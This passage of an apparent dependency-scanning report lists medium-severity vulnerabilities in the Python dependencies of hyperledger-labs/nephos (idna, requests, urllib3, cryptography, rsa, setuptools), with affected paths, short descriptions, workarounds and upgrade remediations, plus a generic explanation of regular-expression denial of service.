  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 idna@2.8
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 idna@2.8
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 idna@2.8
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 idna@2.8
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 idna@2.8
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 idna@2.8
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: requests
  • Introduced through: requests@2.22.0, adal@1.2.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0
    Remediation: Upgrade to requests@2.31.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

  1. HTTP → HTTPS: leak

  2. HTTPS → HTTP: no leak

  3. HTTPS → HTTPS: leak

  4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@1.26.19.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@2.5.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). If an X.509 certificate contains a malformed policy constraint and policy processing is enabled, then a write lock will be taken twice recursively. On some operating systems (most widely: Windows), this results in a denial of service when the affected process hangs.

NOTE: Policy processing being enabled on a publicly-facing server is not considered to be a common setup.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a read buffer overflow in certificate name constraint checking in x509/v3_ncons.c. This occurs after certificate chain signature verification, and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a double free after calling the PEM_read_bio_ex() function. An attacker who supplies a malicious PEM file with a 0-length payload can trigger a crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an invalid pointer dereference in the d2i_PKCS7(), d2i_PKCS7_bio() and d2i_PKCS7_fp(). An attacker could trigger a crash by supplying malicious PKCS7 data.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null dereference when validating DSA public keys in the EVP_PKEY_public_check() function.

NOTE: The TLS implementation in OpenSSL does not call this function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when processing specially crafted ASN.1 objects identifiers. Applications that use OBJ_obj2txt() directly, or use any of the OpenSSL subsystems OCSP, PKCS7/SMIME, CMS, CMP/CRMF or TS with no message size limit may experience notable to very long delays when processing those messages, which may lead to a exploitation of this vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.0 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@3.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Timing Attack. It is vulnerable to Bleichenbacher timing attacks in the RSA decryption API, via timed processing of valid PKCS#1 v1.5 ciphertext (Marvin).

Notes:

  1. Version 3.2 of this package contains an incomplete fix, which might help reduce the chances of this vulnerability being exploited. We recommend updating to version 42.0.0 for the complete fix, as advised in the advisory for CVE-2023-50782.

  2. This vulnerability presents a moderate severity concern due to its specific impact on applications utilizing RSA decryption with PKCS#1 v1.5 padding. While the vulnerability could potentially lead to leakage in RSA decryption operations, its severity is downgraded to medium by several factors. Firstly, the exploitability of the vulnerability is limited to scenarios where RSA decryption with PKCS#1 v1.5 padding is employed, narrowing the scope of affected systems. Additionally, the implementation of implicit rejection, such as the Marvin workaround, provides a viable mitigation strategy.

Remediation

Upgrade cryptography to version 3.2 or higher.

References

medium severity

Use After Free

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Use After Free in the BIO_new_NDEF() function. A new filter BIO can be freed, with the function returning a NULL result indicating a failure. But the BIO passed by the caller still holds pointers to the previously freed filter BIO. This could allow an attacker to cause a crash.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Timing Attack

  • Vulnerable module: rsa
  • Introduced through: rsa@4.0, google-auth@1.7.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 rsa@4.0
    Remediation: Upgrade to rsa@4.7.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 google-auth@1.7.1 rsa@4.0
    Remediation: Upgrade to google-auth@2.24.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 google-auth@1.7.1 rsa@4.0
    Remediation: Upgrade to kubernetes@28.1.0.

Overview

rsa is a pure-Python RSA implementation.

Affected versions of this package are vulnerable to Timing Attack via timed processing of valid PKCS#1 v1.5 ciphertext. An attacker can recover ciphertexts via a side-channel attack by exploiting the Marvin security flaw.

Remediation

Upgrade rsa to version 4.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: setuptools
  • Introduced through: google-auth@1.7.1, kubernetes@10.0.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 google-auth@1.7.1 setuptools@40.5.0
    Remediation: Upgrade to google-auth@2.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 setuptools@40.5.0
    Remediation: Upgrade to kubernetes@27.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx@4.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 setuptools@40.5.0
    Remediation: Upgrade to twine@3.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 google-auth@1.7.1 setuptools@40.5.0
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@1.25.8.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
